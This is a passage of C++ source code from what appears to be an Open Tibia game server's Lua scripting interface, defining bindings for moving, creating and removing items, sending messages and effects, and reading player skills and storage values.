= (uint16_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) lua_pushboolean(L, g_game.removeItemOfType(player, itemId, count, subType)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCreatureSetNick(lua_State* L) { //doCreatureSetNick(cid, nick) ScriptEnviroment* env = getEnv(); std::string nick = popString(L); Creature* creature = env->getCreatureByUID(popNumber(L)); if(creature) { SpectatorVec list; g_game.getSpectators(list, creature->getPosition()); Player* player = NULL; creature->Nick = nick; for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it) { if(player = (*it)->getPlayer()) { player->sendCreatureNick(creature); break; } } }else{ lua_pushnil(L); } return 1; } int32_t LuaScriptInterface::luaDoFeedPlayer(lua_State* L) { //doFeedPlayer(cid, food) int32_t food = (int32_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->addDefaultRegeneration((food * 1000) * 3); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSendCancel(lua_State* L) { //doPlayerSendCancel(cid, text) std::string text = popString(L); ScriptEnviroment* env = getEnv(); if(const Player* player = env->getPlayerByUID(popNumber(L))) { player->sendCancel(text); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoSendDefaultCancel(lua_State* L) { //doPlayerSendDefaultCancel(cid, ReturnValue) ReturnValue ret = (ReturnValue)popNumber(L); ScriptEnviroment* env = getEnv(); if(const Player* player = env->getPlayerByUID(popNumber(L))) { player->sendCancelMessage(ret); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetSearchString(lua_State* L) { //getSearchString(fromPosition, toPosition[, fromIsCreature = false[, toIsCreature = false]]) PositionEx toPos, fromPos; bool toIsCreature = false, fromIsCreature = false; int32_t params = lua_gettop(L); if(params > 3) toIsCreature = popNumber(L); if(params > 2) fromIsCreature = popNumber(L); popPosition(L, toPos); popPosition(L, fromPos); if(!toPos.x || !toPos.y || !fromPos.x || !fromPos.y) { errorEx("wrong position(s) specified."); lua_pushboolean(L, false); } else lua_pushstring(L, g_game.getSearchString(fromPos, toPos, fromIsCreature, toIsCreature).c_str()); return 1; } int32_t LuaScriptInterface::luaGetClosestFreeTile(lua_State* L) { //getClosestFreeTile(cid, targetPos[, extended = false[, ignoreHouse = true]]) uint32_t params = lua_gettop(L); bool ignoreHouse = true, extended = false; if(params > 3) ignoreHouse = popNumber(L); if(params > 2) extended = popNumber(L); PositionEx pos; popPosition(L, pos); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { Position newPos = g_game.getClosestFreeTile(creature, pos, extended, ignoreHouse); if(newPos.x != 0) pushPosition(L, newPos, 0); else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoTeleportThing(lua_State* L) { //doTeleportThing(cid, newpos[, pushmove = TRUE]) bool pushMove = true; if(lua_gettop(L) > 2) pushMove = popNumber(L); PositionEx pos; popPosition(L, pos); ScriptEnviroment* env = getEnv(); if(Thing* tmp = env->getThingByUID(popNumber(L))) lua_pushboolean(L, g_game.internalTeleport(tmp, pos, pushMove) == RET_NOERROR); else { errorEx(getError(LUA_ERROR_THING_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoTransformItem(lua_State* L) { //doTransformItem(uid, newId[, count/subType]) int32_t count = -1; if(lua_gettop(L) > 2) count = popNumber(L); uint16_t newId = popNumber(L); uint32_t uid = popNumber(L); ScriptEnviroment* env = getEnv(); Item* item = env->getItemByUID(uid); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } const ItemType& it = Item::items[newId]; if(it.stackable && count > 100) count = 100; Item* newItem = g_game.transformItem(item, newId, count); if(item->isRemoved()) env->removeThing(uid); if(newItem && newItem != item) env->insertThing(uid, newItem); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoCreatureSay(lua_State* L) { //doCreatureSay(uid, text[, type = SPEAK_SAY[, ghost = false[, cid = 0[, pos]]]]) uint32_t params = lua_gettop(L), cid = 0, uid = 0; PositionEx pos; if(params > 5) popPosition(L, pos); if(params > 4) cid = popNumber(L); bool ghost = false; if(params > 3) ghost = popNumber(L); SpeakClasses type = SPEAK_SAY; if(params > 2) type = (SpeakClasses)popNumber(L); std::string text = popString(L); uid = popNumber(L); if(params > 5 && (!pos.x || !pos.y)) { errorEx("Invalid position specified."); lua_pushboolean(L, false); return 1; } ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(uid); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } SpectatorVec list; if(cid) { Creature* target = env->getCreatureByUID(cid); if(!target) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } list.push_back(target); } if(params > 5) lua_pushboolean(L, g_game.internalCreatureSay(creature, type, text, ghost, &list, &pos)); else lua_pushboolean(L, g_game.internalCreatureSay(creature, type, text, ghost, &list)); return 1; } int32_t LuaScriptInterface::luaDoSendMagicEffect(lua_State* L) { //doSendMagicEffect(pos, type[, player]) ScriptEnviroment* env = getEnv(); SpectatorVec list; if(lua_gettop(L) > 2) { if(Creature* creature = env->getCreatureByUID(popNumber(L))) list.push_back(creature); } uint32_t type = popNumber(L); PositionEx pos; popPosition(L, pos); if(pos.x == 0xFFFF) pos = env->getRealPos(); if(!list.empty()) g_game.addMagicEffect(list, pos, type); else g_game.addMagicEffect(pos, type); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoSendDistanceShoot(lua_State* L) { //doSendDistanceShoot(fromPos, toPos, type[, player]) ScriptEnviroment* env = getEnv(); SpectatorVec list; if(lua_gettop(L) > 3) { if(Creature* creature = env->getCreatureByUID(popNumber(L))) list.push_back(creature); } uint32_t type = popNumber(L); PositionEx toPos, fromPos; popPosition(L, toPos); popPosition(L, fromPos); if(fromPos.x == 0xFFFF) fromPos = env->getRealPos(); if(toPos.x == 0xFFFF) toPos = env->getRealPos(); if(!list.empty()) g_game.addDistanceEffect(list, fromPos, toPos, type); else g_game.addDistanceEffect(fromPos, toPos, type); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoPlayerAddSkillTry(lua_State* L) { //doPlayerAddSkillTry(uid, skillid, n[, useMultiplier]) bool multiplier = true; if(lua_gettop(L) > 3) multiplier = popNumber(L); uint32_t n = popNumber(L), skillid = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->addSkillAdvance((skills_t)skillid, n, multiplier); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureSpeakType(lua_State* L) { //getCreatureSpeakType(uid) ScriptEnviroment* env = getEnv(); if(const Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushnumber(L, (SpeakClasses)creature->getSpeakType()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCreatureSetSpeakType(lua_State* L) { //doCreatureSetSpeakType(uid, type) SpeakClasses type = (SpeakClasses)popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { if(type < SPEAK_CLASS_FIRST || type > SPEAK_CLASS_LAST) { errorEx("Invalid speak type!"); lua_pushboolean(L, false); return 1; } creature->setSpeakType(type); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureHideHealth(lua_State* L) { //getCreatureHideHealth(cid) ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushboolean(L, creature->getHideHealth()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaOpenChannelDialog(lua_State* L) { ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->sendChannelsDialog(); return true; } else return false; } int32_t LuaScriptInterface::luaDoCreatureSetHideHealth(lua_State* L) { //doCreatureSetHideHealth(cid, hide) bool hide = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { creature->setHideHealth(hide); g_game.addCreatureHealth(creature); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCreatureAddHealth(lua_State* L) { //doCreatureAddHealth(uid, health[, hitEffect[, hitColor[, force]]]) int32_t params = lua_gettop(L); bool force = false; if(params > 4) force = popNumber(L); TextColor_t hitColor = TEXTCOLOR_UNKNOWN; if(params > 3) hitColor = (TextColor_t)popNumber(L); MagicEffect_t hitEffect = MAGIC_EFFECT_UNKNOWN; if(params > 2) hitEffect = (MagicEffect_t)popNumber(L); int32_t healthChange = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { if(healthChange) //do not post with 0 value g_game.combatChangeHealth(healthChange < 1 ? COMBAT_UNDEFINEDDAMAGE : COMBAT_HEALING, NULL, creature, healthChange, hitEffect, hitColor, force); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCreatureAddMana(lua_State* L) { //doCreatureAddMana(uid, mana[, aggressive]) bool aggressive = true; if(lua_gettop(L) > 2) aggressive = popNumber(L); int32_t manaChange = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { if(aggressive) g_game.combatChangeMana(NULL, creature, manaChange); else creature->changeMana(manaChange); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerAddSpentMana(lua_State* L) { //doPlayerAddSpentMana(cid, amount[, useMultiplier]) bool multiplier = true; if(lua_gettop(L) > 2) multiplier = popNumber(L); uint32_t amount = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->addManaSpent(amount, multiplier); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerAddItem(lua_State* L) { //doPlayerAddItem(cid, itemid[, count/subtype[, canDropOnMap]]) //doPlayerAddItem(cid, itemid[, count[, canDropOnMap[, subtype]]]) int32_t params = lua_gettop(L), subType = 1; if(params > 4) subType = popNumber(L); bool canDropOnMap = true; if(params > 3) canDropOnMap = popNumber(L); uint32_t count = 1; if(params > 2) count = popNumber(L); uint32_t itemId = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID((uint32_t)popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } const ItemType& it = Item::items[itemId]; int32_t itemCount = 1; if(params > 4) itemCount = std::max((uint32_t)1, count); else if(it.hasSubType()) { if(it.stackable) itemCount = (int32_t)std::ceil((float)count / 100); subType = count; } while(itemCount > 0) { int32_t stackCount = std::min(100, subType); Item* newItem = Item::CreateItem(itemId, stackCount); if(!newItem) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(it.stackable) subType -= stackCount; ReturnValue ret = g_game.internalPlayerAddItem(NULL, player, newItem, canDropOnMap); if(ret != RET_NOERROR) { delete newItem; lua_pushboolean(L, false); return 1; } --itemCount; if(itemCount) continue; if(newItem->getParent()) lua_pushnumber(L, env->addThing(newItem)); else //stackable item stacked with existing object, newItem will be released lua_pushnil(L); return 1; } lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaDoPlayerAddItemEx(lua_State* L) { //doPlayerAddItemEx(cid, uid[, canDropOnMap = false]) bool canDropOnMap = false; if(lua_gettop(L) > 2) canDropOnMap = popNumber(L); uint32_t uid = (uint32_t)popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Item* item = env->getItemByUID(uid); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(item->getParent() == VirtualCylinder::virtualCylinder) lua_pushnumber(L, g_game.internalPlayerAddItem(NULL, player, item, canDropOnMap)); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoTileAddItemEx(lua_State* L) { //doTileAddItemEx(pos, uid) uint32_t uid = (uint32_t)popNumber(L); PositionEx pos; popPosition(L, pos); ScriptEnviroment* env = getEnv(); Tile* tile = g_game.getTile(pos.x, pos.y, pos.z); if(!tile) { errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Item* item = env->getItemByUID(uid); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(item->getParent() == VirtualCylinder::virtualCylinder) lua_pushnumber(L, g_game.internalAddItem(NULL, tile, item)); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoRelocate(lua_State* L) { //doRelocate(pos, posTo[, creatures = true]) //Moves all moveable objects from pos to posTo bool creatures = true; if(lua_gettop(L) > 2) creatures = popNumber(L); PositionEx toPos; popPosition(L, toPos); PositionEx fromPos; popPosition(L, fromPos); Tile* fromTile = g_game.getTile(fromPos.x, fromPos.y, fromPos.z); if(!fromTile) { errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Tile* toTile = g_game.getTile(toPos.x, toPos.y, toPos.z); if(!toTile) { errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(fromTile != toTile) { for(int32_t i = fromTile->getThingCount() - 1; i >= 0; --i) { Thing* thing = fromTile->__getThing(i); if(thing) { if(Item* item = thing->getItem()) { const ItemType& it = Item::items[item->getID()]; if(!it.isGroundTile() && !it.alwaysOnTop && !it.isMagicField()) g_game.internalTeleport(item, toPos, false, FLAG_IGNORENOTMOVEABLE); } else if(creatures) { Creature* creature = thing->getCreature(); if(creature) g_game.internalTeleport(creature, toPos, true); } } } } lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoCleanTile(lua_State* L) { //doCleanTile(pos, forceMapLoaded = false) //Remove all items from tile, ignore creatures bool forceMapLoaded = false; if(lua_gettop(L) > 1) forceMapLoaded = popNumber(L); PositionEx pos; popPosition(L, pos); Tile* tile = g_game.getTile(pos); if(!tile) { errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } for(int32_t i = tile->getThingCount() - 1; i >= 1; --i) //ignore ground { if(Thing* thing = tile->__getThing(i)) { if(Item* item = thing->getItem()) { if(!item->isLoadedFromMap() || forceMapLoaded) g_game.internalRemoveItem(NULL, item); } } } lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoPlayerSendTextMessage(lua_State* L) { //doPlayerSendTextMessage(cid, MessageClasses, message) std::string text = popString(L); uint32_t messageClass = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } player->sendTextMessage((MessageClasses)messageClass, text); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoPlayerSendChannelMessage(lua_State* L) { //doPlayerSendChannelMessage(cid, author, message, SpeakClasses, channel) uint16_t channelId = popNumber(L); uint32_t speakClass = popNumber(L); std::string text = popString(L), name = popString(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } player->sendChannelMessage(name, text, (SpeakClasses)speakClass, channelId); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoPlayerSendToChannel(lua_State* L) { //doPlayerSendToChannel(cid, targetId, SpeakClasses, message, channel[, time]) ScriptEnviroment* env = getEnv(); uint32_t time = 0; if(lua_gettop(L) > 5) time = popNumber(L); uint16_t channelId = popNumber(L); std::string text = popString(L); uint32_t speakClass = popNumber(L), targetId = popNumber(L); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Creature* creature = env->getCreatureByUID(targetId); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } player->sendToChannel(creature, (SpeakClasses)speakClass, text, channelId, time); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoSendAnimatedText(lua_State* L) { //doSendAnimatedText(pos, text, color[, player]) ScriptEnviroment* env = getEnv(); SpectatorVec list; if(lua_gettop(L) > 3) { if(Creature* creature = env->getCreatureByUID(popNumber(L))) list.push_back(creature); } uint32_t color = popNumber(L); std::string text = popString(L); PositionEx pos; popPosition(L, pos); if(pos.x == 0xFFFF) pos = env->getRealPos(); if(!list.empty()) g_game.addAnimatedText(list, pos, color, text); else g_game.addAnimatedText(pos, color, text); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaGetPlayerSkillLevel(lua_State* L) { //getPlayerSkillLevel(cid, skillid) uint32_t skillId = popNumber(L); ScriptEnviroment* env = getEnv(); if(const Player* player = env->getPlayerByUID(popNumber(L))) { if(skillId <= SKILL_LAST) lua_pushnumber(L, player->skills[skillId][SKILL_LEVEL]); else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerSkillTries(lua_State* L) { //getPlayerSkillTries(cid, skillid) uint32_t skillid = popNumber(L); ScriptEnviroment* env = getEnv(); if(const Player* player = env->getPlayerByUID(popNumber(L))) { if(skillid <= SKILL_LAST) lua_pushnumber(L, player->skills[skillid][SKILL_TRIES]); else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCreatureSetDropLoot(lua_State* L) { //doCreatureSetDropLoot(cid, doDrop) bool doDrop = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { creature->setDropLoot(doDrop ? LOOT_DROP_FULL : LOOT_DROP_NONE); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerLossPercent(lua_State* L) { //getPlayerLossPercent(cid, lossType) uint8_t lossType = (uint8_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(const Player* player = env->getPlayerByUID(popNumber(L))) { if(lossType <= LOSS_LAST) { uint32_t value = player->getLossPercent((lossTypes_t)lossType); lua_pushnumber(L, value); } else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetLossPercent(lua_State* L) { //doPlayerSetLossPercent(cid, lossType, newPercent) uint32_t newPercent = popNumber(L); uint8_t lossType = (uint8_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(lossType <= LOSS_LAST) { player->setLossPercent((lossTypes_t)lossType, newPercent); lua_pushboolean(L, true); } else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetLossSkill(lua_State* L) { //doPlayerSetLossSkill(cid, doLose) bool doLose = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setLossSkill(doLose); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoShowTextDialog(lua_State* L) { //doShowTextDialog(cid, itemid, text) std::string text = popString(L); uint32_t itemId = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setWriteItem(NULL, 0); player->sendTextWindow(itemId, text); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoDecayItem(lua_State* L) { //doDecayItem(uid) //Note: to stop decay set decayTo = 0 in items.xml ScriptEnviroment* env = getEnv(); if(Item* item = env->getItemByUID(popNumber(L))) { g_game.startDecay(item); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetThingFromPos(lua_State* L) { //getThingFromPos(pos[, displayError = true]) //Note: // stackpos = 255- top thing (movable item or creature) // stackpos = 254- magic field // stackpos = 253- top creature bool displayError = true; if(lua_gettop(L) > 1) displayError = popNumber(L); PositionEx pos; popPosition(L, pos); ScriptEnviroment* env = getEnv(); Thing* thing = NULL; if(Tile* tile = g_game.getMap()->getTile(pos)) { if(pos.stackpos == 255) { if(!(thing = tile->getTopCreature())) { Item* item = tile->getTopDownItem(); if(item && item->isMoveable()) thing = item; } } else if(pos.stackpos == 254) thing = tile->getFieldItem(); else if(pos.stackpos == 253) thing = tile->getTopCreature(); else thing = tile->__getThing(pos.stackpos); if(thing) pushThing(L, thing, env->addThing(thing)); else pushThing(L, NULL, 0); return 1; } if(displayError) errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); pushThing(L, NULL, 0); return 1; } int32_t LuaScriptInterface::luaGetTileItemById(lua_State* L) { //getTileItemById(pos, itemId[, subType = -1]) ScriptEnviroment* env = getEnv(); int32_t subType = -1; if(lua_gettop(L) > 2) subType = (int32_t)popNumber(L); int32_t itemId = (int32_t)popNumber(L); PositionEx pos; popPosition(L, pos); Tile* tile = g_game.getTile(pos); if(!tile) { pushThing(L, NULL, 0); return 1; } Item* item = g_game.findItemOfType(tile, itemId, false, subType); if(!item) { pushThing(L, NULL, 0); return 1; } pushThing(L, item, env->addThing(item)); return 1; } int32_t LuaScriptInterface::luaGetTileItemByType(lua_State* L) { //getTileItemByType(pos, type) uint32_t rType = (uint32_t)popNumber(L); if(rType >= ITEM_TYPE_LAST) { errorEx("Not a valid item type"); pushThing(L, NULL, 0); return 1; } PositionEx pos; popPosition(L, pos); Tile* tile = g_game.getTile(pos); if(!tile) { pushThing(L, NULL, 0); return 1; } bool found = true; switch((ItemTypes_t)rType) { case ITEM_TYPE_TELEPORT: { if(!tile->hasFlag(TILESTATE_TELEPORT)) found = false; break; } case ITEM_TYPE_MAGICFIELD: { if(!tile->hasFlag(TILESTATE_MAGICFIELD)) found = false; break; } case ITEM_TYPE_MAILBOX: { if(!tile->hasFlag(TILESTATE_MAILBOX)) found = false; break; } case ITEM_TYPE_TRASHHOLDER: { if(!tile->hasFlag(TILESTATE_TRASHHOLDER)) found = false; break; } case ITEM_TYPE_BED: { if(!tile->hasFlag(TILESTATE_BED)) found = false; break; } default: break; } if(!found) { pushThing(L, NULL, 0); return 1; } ScriptEnviroment* env = getEnv(); Item* item = NULL; for(uint32_t i = 0; i < tile->getThingCount(); ++i) { if(!(item = tile->__getThing(i)->getItem())) continue; if(Item::items[item->getID()].type != (ItemTypes_t)rType) continue; pushThing(L, item, env->addThing(item)); return 1; } pushThing(L, NULL, 0); return 1; } int32_t LuaScriptInterface::luaGetTileThingByPos(lua_State* L) { //getTileThingByPos(pos) PositionEx pos; popPosition(L, pos); ScriptEnviroment* env = getEnv(); Tile* tile = g_game.getTile(pos.x, pos.y, pos.z); if(!tile) { if(pos.stackpos == -1) { lua_pushnumber(L, -1); return 1; } else { pushThing(L, NULL, 0); return 1; } } if(pos.stackpos == -1) { lua_pushnumber(L, tile->getThingCount()); return 1; } Thing* thing = tile->__getThing(pos.stackpos); if(!thing) { pushThing(L, NULL, 0); return 1; } pushThing(L, thing, env->addThing(thing)); return 1; } int32_t LuaScriptInterface::luaGetTopCreature(lua_State* L) { //getTopCreature(pos) PositionEx pos; popPosition(L, pos); ScriptEnviroment* env = getEnv(); Tile* tile = g_game.getTile(pos); if(!tile) { pushThing(L, NULL, 0); return 1; } Thing* thing = tile->getTopCreature(); if(!thing || !thing->getCreature()) { pushThing(L, NULL, 0); return 1; } pushThing(L, thing, env->addThing(thing)); return 1; } int32_t LuaScriptInterface::luaDoCreateItem(lua_State* L) { //doCreateItem(itemid[, type/count], pos) //Returns uid of the created item, only works on tiles. PositionEx pos; popPosition(L, pos); uint32_t count = 1; if(lua_gettop(L) > 1) count = popNumber(L); uint32_t itemId = popNumber(L); ScriptEnviroment* env = getEnv(); Tile* tile = g_game.getTile(pos); if(!tile) { errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } const ItemType& it = Item::items[itemId]; int32_t itemCount = 1, subType = 1; if(it.hasSubType()) { if(it.stackable) itemCount = (int32_t)std::ceil((float)count / 100); subType = count; } else itemCount = std::max((uint32_t)1, count); while(itemCount > 0) { int32_t stackCount = std::min(100, subType); Item* newItem = Item::CreateItem(itemId, stackCount); if(!newItem) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(it.stackable) subType -= stackCount; ReturnValue ret = g_game.internalAddItem(NULL, tile, newItem, INDEX_WHEREEVER, FLAG_NOLIMIT); if(ret != RET_NOERROR) { delete newItem; lua_pushboolean(L, false); return 1; } --itemCount; if(itemCount) continue; if(newItem->getParent()) lua_pushnumber(L, env->addThing(newItem)); else //stackable item stacked with existing object, newItem will be released lua_pushnil(L); return 1; } lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaDoCreateItemEx(lua_State* L) { //doCreateItemEx(itemid[, count/subType]) uint32_t count = 0; if(lua_gettop(L) > 1) count = popNumber(L); ScriptEnviroment* env = getEnv(); const ItemType& it = Item::items[(uint32_t)popNumber(L)]; if(it.stackable && count > 100) count = 100; Item* newItem = Item::CreateItem(it.id, count); if(!newItem) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } newItem->setParent(VirtualCylinder::virtualCylinder); env->addTempItem(env, newItem); lua_pushnumber(L, env->addThing(newItem)); return 1; } int32_t LuaScriptInterface::luaDoCreateTeleport(lua_State* L) { //doCreateTeleport(itemid, toPosition, fromPosition) PositionEx createPos; popPosition(L, createPos); PositionEx toPos; popPosition(L, toPos); uint32_t itemId = (uint32_t)popNumber(L); ScriptEnviroment* env = getEnv(); Tile* tile = g_game.getMap()->getTile(createPos); if(!tile) { errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Item* newItem = Item::CreateItem(itemId); Teleport* newTeleport = newItem->getTeleport(); if(!newTeleport) { delete newItem; lua_pushboolean(L, false); return 1; } newTeleport->setDestination(toPos); if(g_game.internalAddItem(NULL, tile, newTeleport, INDEX_WHEREEVER, FLAG_NOLIMIT) != RET_NOERROR) { delete newItem; lua_pushboolean(L, false); return 1; } if(newItem->getParent()) lua_pushnumber(L, env->addThing(newItem)); else //stackable item stacked with existing object, newItem will be released lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaGetCreatureStorage(lua_State* L) { //getCreatureStorage(cid, key) uint32_t key = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { std::string strValue; if(creature->getStorage(key, strValue)) { int32_t intValue = atoi(strValue.c_str()); if(intValue || strValue == "0") lua_pushnumber(L, intValue); else lua_pushstring(L, strValue.c_str()); } else lua_pushnumber(L, -1); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCreatureSetStorage(lua_State* L) { //doCreatureSetStorage(cid, key[, value]) std::string value; bool nil = true; if(lua_gettop(L) > 2) { if(!lua_isnil(L, -1)) { value = popString(L); nil = false; } else lua_pop(L, 1); } uint32_t key = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { if(!nil) nil = creature->setStorage(key, value); else creature->eraseStorage(key); lua_pushboolean(L, nil); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetTileInfo(lua_State* L) { //getTileInfo(pos) PositionEx pos; popPosition(L, pos); if(Tile* tile = g_game.getMap()->getTile(pos)) { 